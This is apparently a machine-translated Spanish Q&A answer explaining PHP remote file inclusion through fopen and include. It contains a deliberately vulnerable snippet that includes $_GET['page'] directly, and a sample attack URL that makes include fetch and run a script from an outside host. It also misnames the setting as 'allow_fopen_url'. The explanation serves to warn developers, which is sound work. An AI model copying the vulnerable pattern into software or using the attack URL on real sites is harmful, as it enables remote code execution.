fopen()
solo abrirá URL remotas si allow_fopen_url
está habilitado en php.ini
.
Sin embargo, en las versiones anteriores a 5.2.0, esto era muy peligroso porque la función include
también descargar y analizar código PHP desde sitios remotos. Un codificador ingenua podría ser fácilmente capturado con un código como:
<?php
$page = $_GET['page'];
include($page);
?>
momento en el que un atacante sólo tiene que pedir http://example.com/script.php?page=http://example.net/my_exploit_script
para ejecutar su propio código en el sistema e introducir un exploit. Lamentablemente, el valor predeterminado para allow_fopen_url
es 'on'.
Afortunadamente, desde 5.2.0 hay una configuración separada (que debería por defecto en 'off') llamada allow_url_include
que impide include
de la descarga remota de código.
Personalmente, si tiene la opción de usar Curl, utilícelo en lugar de fopen
.
buena respuesta en profundidad +1 – alex